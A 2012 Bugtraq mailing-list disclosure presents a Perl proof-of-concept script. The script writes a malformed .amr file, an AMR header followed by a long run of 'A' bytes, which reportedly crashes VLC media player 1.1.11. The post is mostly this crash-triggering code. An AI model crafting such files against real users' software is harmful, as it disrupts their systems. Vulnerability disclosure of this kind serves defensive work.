bugtraq - VLC media player v1.1.11 (.amr) Local Crash PoC

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Message-Id: <201201040802.q0482tcX030095@sf01web3.securityfocus.com>
Date: Wed, 4 Jan 2012 08:02:55 GMT
From: hapsec@...il.com
To: bugtraq@...urityfocus.com
Subject: VLC media player v1.1.11 (.amr) Local Crash PoC

#!/usr/bin/perl
##
# Exploit Title: VLC media player v1.1.11 (.amr) Local Crash PoC
# Date: 04.01.2012
# Author: Fabi@...sec (hapsec@...il.com)
# Software Link: http://sourceforge.net/projects/vlc/files/1.1.11/win32/vlc-1.1.11-win32.exe
# Version: 1.1.11
# Tested on: Windows 7 x86 English
#
# Description: Unhandled Access Violation Exception loading generated .amr file
#              - 1.1.10 not affected!
#
##
#
#
#
system("title VLC .amr crash PoC");
system("cls");
print "\n";                  
print " [*] Name : VLC media player v1.1.11 (Adaptive Multi-Rate)\n";
print " [*] Exploit : Local Crash PoC                            \n";
sleep(2);
print "\n";
my $amr_boof = "\x23\x21\x41\x4D\x52"; # Treat as AMR 
$amr_boof .= "\x41"x1000; # j4f
open(file , ">", "b00f.amr");
print file $amr_boof;
print "  [+] File successfully created! Open in VLC or drag to playlist..\n" or die print "\n Wuups- Could not create File.. ";
close(file);
# 
#Hannibal ante portas